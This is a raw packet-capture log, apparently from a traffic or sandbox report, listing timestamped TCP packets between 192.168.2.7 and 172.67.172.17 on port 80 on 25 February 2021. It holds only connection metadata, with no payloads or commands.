Feb 25, 2021 15:15:48.914736032 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.915738106 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.915762901 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.915783882 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.916750908 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.916786909 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.916790009 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.917795897 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.917814970 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.917826891 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.917922020 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.918806076 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.918916941 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.919297934 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.919320107 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.919401884 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.920308113 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.920330048 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.920511007 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.921277046 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.921298981 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.921449900 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.922214031 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.922245026 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.922514915 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.923103094 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.923125982 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.923198938 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.945837975 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.945863008 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.945981026 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.947850943 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.947873116 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.947947025 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.948169947 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.948185921 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.948240042 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.949532986 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.949553013 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.949718952 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.950161934 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.950181007 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.950634003 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.951976061 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.951997042 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.952234983 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.952256918 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.952270031 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.953758001 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.954756021 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.954773903 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.954881907 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.955033064 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.955050945 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.955130100 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.956056118 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.956075907 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.956156015 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.957928896 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.957950115 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.958050966 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.959323883 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.959352970 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.959439039 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.960406065 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.960428953 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.960537910 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.961432934 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.961452007 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.961520910 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.962479115 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.962500095 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.962583065 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.963485956 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.963509083 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.963577986 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.964577913 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.964601040 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.964679003 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.964927912 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.964931011 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.965013981 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.965675116 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.965696096 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.965744019 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.966290951 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.966310978 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.966372967 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.967223883 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.967246056 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.967295885 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.968118906 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.968139887 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.968219042 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.969242096 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.969271898 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.969325066 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.969892025 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.969913006 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.970009089 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.992842913 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.992872000 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.992997885 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.994673014 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.994698048 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.994782925 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.995034933 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.995075941 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.995132923 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.996450901 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.996474028 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.996546984 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.997272015 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.997289896 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.997361898 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:48.998977900 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.998997927 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:48.999063015 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.000436068 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.000454903 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.000539064 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.001580000 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.001600981 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.001703978 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.001878977 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.001914024 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.001971960 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.002835035 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.002854109 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.002904892 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.004745007 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.004770041 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.004852057 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.005096912 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.005117893 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.005192041 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.005762100 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.005784988 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.005836964 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.006443024 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.006479979 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.006556988 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.007139921 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.007158041 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.007217884 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.007801056 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.007841110 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.007913113 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.008475065 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.008491993 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.008538961 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.009162903 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.009207010 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.009275913 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.009848118 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.009877920 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.009939909 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.010544062 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.010564089 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.010610104 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.011204958 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.011240005 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.011296988 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.011882067 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.011900902 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.011950016 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.012563944 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.012638092 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.013245106 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.013281107 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.013313055 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.013355017 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.013925076 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.013962030 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.014024019 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.014599085 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.014648914 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.014789104 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.015296936 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.015316010 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.015382051 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.015984058 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.016001940 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.016071081 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.016716957 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.016741037 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.016807079 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.017369032 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.017412901 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.017482042 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.018029928 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.018049955 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.018382072 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.018727064 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.018744946 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.018804073 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.019407034 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.019427061 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.019500971 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.020078897 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.020097017 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.020148039 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.020766973 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.020785093 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.020843983 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.021445036 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.021461010 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.021519899 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.022119999 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.022136927 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.022185087 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.022802114 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.022818089 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.022881031 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.023485899 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.023503065 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.023560047 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.024163961 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.024179935 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.024241924 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.024848938 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.024866104 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.024912119 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.025526047 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.025563002 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.025618076 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.026201010 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.026221037 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.026314020 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.026930094 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.026947975 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.027004004 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.027568102 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.027602911 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.027684927 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.028285980 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.028325081 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.028917074 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.028939962 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.028990984 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.029043913 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.029648066 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.029664040 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.029728889 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.030306101 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.030322075 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.030375004 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.030973911 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.031004906 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.031099081 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.031685114 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.031706095 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.031774044 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.032344103 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.032362938 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.032474041 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.039809942 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.039835930 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.039947033 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.040097952 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.040122986 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.040224075 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.041450024 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.041456938 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.041528940 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.041755915 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.041774035 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.041846991 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.043174028 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.043195963 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.043304920 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.043957949 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.043975115 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.044022083 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.045702934 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.045722008 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.045804024 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.047271013 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.047290087 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.047382116 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.048363924 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.048382044 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.048454046 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.048687935 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.048733950 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.048800945 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.049586058 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.049609900 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.049689054 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.051533937 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.051559925 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.051661968 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.051840067 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.051855087 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.051945925 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.053184032 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.053201914 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.053220034 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.053313017 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.053855896 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.053872108 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.053884029 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.053951025 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.053977013 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.054591894 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.054610014 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.054625034 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.054658890 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.055500984 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.055519104 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.055536985 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.055562973 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.055613041 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.056416988 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.056435108 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.056447029 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.056495905 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.057363987 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.057400942 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.057419062 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.057432890 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.058229923 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.058248043 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.058263063 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.058264017 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.058286905 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.059093952 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.059113026 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.059129000 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.059155941 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.059185982 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.059972048 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.059992075 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.060053110 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.060528994 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.060553074 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.060569048 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.060640097 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.061429024 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.061446905 CET	80	49730	172.67.172.17	192.168.2.7
